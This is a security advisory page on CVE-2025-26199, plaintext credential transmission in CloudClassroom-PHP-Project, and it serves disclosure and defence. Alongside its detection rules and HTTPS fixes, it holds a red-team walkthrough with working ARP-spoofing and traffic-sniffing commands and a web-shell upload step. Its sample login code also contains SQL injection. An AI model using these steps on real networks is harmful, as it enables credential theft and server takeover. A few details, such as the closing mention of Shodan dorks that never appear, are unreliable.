CVE-2025-26199
Executive Summary
CVE-2025-26199 identifies a critical insecure credential transmission vulnerability in CloudClassroom-PHP-Project v1.0. The application transmits login credentials over unencrypted HTTP, exposing them to Man-in-the-Middle (MitM) attacks on the same network segment. This flaw allows a remote attacker on the local network (e.g., public Wi-Fi, compromised router) to capture plaintext passwords. If the attacker subsequently uses captured administrative credentials, they may exploit other application functions (e.g., file upload) to achieve remote code execution (RCE). No official patch or advisory has been released by the vendor.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This is a PHP-based project, not an NPM, PyPI, Go, or Ruby package. No supply chain implications are identified beyond the direct use of the vulnerable application.
CVSS Breakdown & Threat Level
CVSS Score: 6.5 (Medium) – based on CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Attack Vector (AV): Adjacent Network – attacker must be on the same network segment (e.g., Wi-Fi, LAN).
- Attack Complexity (AC): Low – standard MitM tools (e.g., ARP spoofing, rogue access point) are widely available.
- Privileges Required (PR): None – no authentication needed to intercept traffic.
- User Interaction (UI): None – victim does not need to click anything.
- Scope (S): Unchanged – exploitation does not affect other components.
- Confidentiality (C): High – credentials are fully exposed.
- Integrity (I): None – direct credential capture does not modify data.
- Availability (A): None – no direct impact on availability.
Threat Level: Medium. While the CVSS base score is 6.5, the potential for chaining with other vulnerabilities (e.g., file upload leading to RCE) elevates the risk in real-world scenarios.
Deep Dive & Mechanics
The vulnerability stems from the application’s login mechanism transmitting credentials via HTTP POST requests without TLS/SSL encryption. The login form (login.php or similar) sends username and password fields in plaintext over the network.
Attack Flow:
- Reconnaissance: Attacker on the same network identifies the CloudClassroom instance (e.g., via Shodan dorks or network scanning).
- Interception: Using ARP spoofing, a rogue access point, or a compromised router, the attacker captures HTTP traffic.
- Credential Extraction: Tools like Wireshark, tcpdump, or Bettercap extract the
POSTparameters containing credentials. - Post-Exploitation: The attacker logs in with captured credentials. If the account has administrative privileges, they may upload a malicious PHP file (e.g., via a file upload feature) to achieve RCE.
Root Cause: The application does not enforce HTTPS for login endpoints. The config.php or login handler likely hardcodes http:// URLs or does not redirect to HTTPS.
Vulnerable vs. Patched Code
Vulnerable Code (login.php – conceptual):
<?php
// login.php – vulnerable version
$username = $_POST['username'];
$password = $_POST['password'];
// No HTTPS enforcement
$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
// ... authentication logic
?>
Patched Code (conceptual – no official patch available):
<?php
// login.php – patched version
// Force HTTPS
if (!isset($_SERVER['HTTPS']) || $_SERVER['HTTPS'] !== 'on') {
header("Location: https://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
exit();
}
$username = $_POST['username'];
$password = $_POST['password'];
// Use prepared statements to prevent SQL injection
$stmt = $pdo->prepare("SELECT * FROM users WHERE username=:username AND password=:password");
$stmt->execute(['username' => $username, 'password' => $password]);
// ... authentication logic
?>
Key Differences:
- HTTPS Enforcement: The patched version redirects HTTP requests to HTTPS.
- Input Handling: The patched version uses prepared statements (though not strictly required for this CVE, it is a best practice).
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- Attacker machine on the same network as the victim (e.g., Kali Linux).
- Target: CloudClassroom-PHP-Project v1.0 running on HTTP.
Step 1: Network Reconnaissance
# Identify target IP and port
nmap -p 80,443 <target_ip>
Step 2: ARP Spoofing (using Bettercap)
sudo bettercap -eval "set arp.spoof.targets <target_ip>; arp.spoof on; net.sniff on"
Step 3: Capture Credentials (using tcpdump)
sudo tcpdump -i eth0 -A -s 0 'tcp port 80 and (tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354)'
Step 4: Extract Credentials from PCAP (using Wireshark)
- Filter:
http.request.method == POST && http.host contains "cloudclassroom" - Follow TCP stream to view
usernameandpasswordfields.
Step 5: Post-Exploitation (if admin)
- Log in to the admin panel.
- Upload a PHP web shell via file upload functionality.
- Execute commands:
http://target/shell.php?cmd=id
Blue Team (Defensive)
Detection:
- Monitor for ARP spoofing alerts (e.g., using
arpwatchor IDS rules). - Detect HTTP POST requests to login endpoints without HTTPS.
- Alert on unusual file uploads (e.g.,
.phpfiles in upload directories).
Mitigation:
- Immediately enforce HTTPS on all login pages.
- Implement HSTS headers.
- Use network segmentation to isolate sensitive applications.
- Deploy SSL/TLS inspection on network gateways.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP POST requests to
/login.phpor similar endpoints without TLS. - ARP cache poisoning events (duplicate IP-MAC mappings).
- Unusual outbound connections from the application server to unknown IPs (post-exploitation).
File IOCs:
- Suspicious PHP files in upload directories (e.g.,
shell.php,cmd.php). - Modified
.htaccessfiles allowing execution of uploaded scripts.
Log IOCs:
- Repeated failed login attempts followed by a successful login from an unexpected IP.
- File upload events with
.phpextensions.
Detection Engineering
YARA Rule
rule CVE_2025_26199_Credential_Sniffing {
meta:
description = "Detects HTTP POST requests containing login credentials in plaintext for CloudClassroom"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-26199"
strings:
$login_path = /POST \/login\.php/i
$username_field = "username="
$password_field = "password="
condition:
$login_path and $username_field and $password_field
}
Sigma Rule
title: CloudClassroom Insecure Credential Transmission
id: cve-2025-26199
status: experimental
description: Detects HTTP POST requests to CloudClassroom login endpoints without TLS
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/login.php'
sc-status: 200
condition: selection
falsepositives:
- Legitimate login attempts if HTTPS is later enforced
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-26199 CloudClassroom Credential Sniffing"; flow:to_server,established; content:"POST"; http_method; content:"/login.php"; http_uri; content:"username="; http_client_body; content:"password="; http_client_body; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Enforce HTTPS: Configure the web server to redirect all HTTP traffic to HTTPS. Add the following to
.htaccess:RewriteEngine On RewriteCond %{HTTPS} off RewriteRule ^(.*)$ https://%{HTTP_HOST}/$1 [R=301,L] - Update Application Code: Modify
login.phpto check for HTTPS and redirect if not secure. - Implement HSTS: Add
Strict-Transport-Securityheader in server configuration. - Network Segmentation: Place the application behind a VPN or isolated VLAN.
Long-Term Fixes:
- Wait for an official patch from the vendor.
- Conduct a full security audit of the application.
- Implement multi-factor authentication (MFA) to reduce impact of credential theft.
Workarounds:
- Use a reverse proxy (e.g., Nginx) to terminate TLS before forwarding to the application.
- Monitor network traffic for HTTP login attempts and block them.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.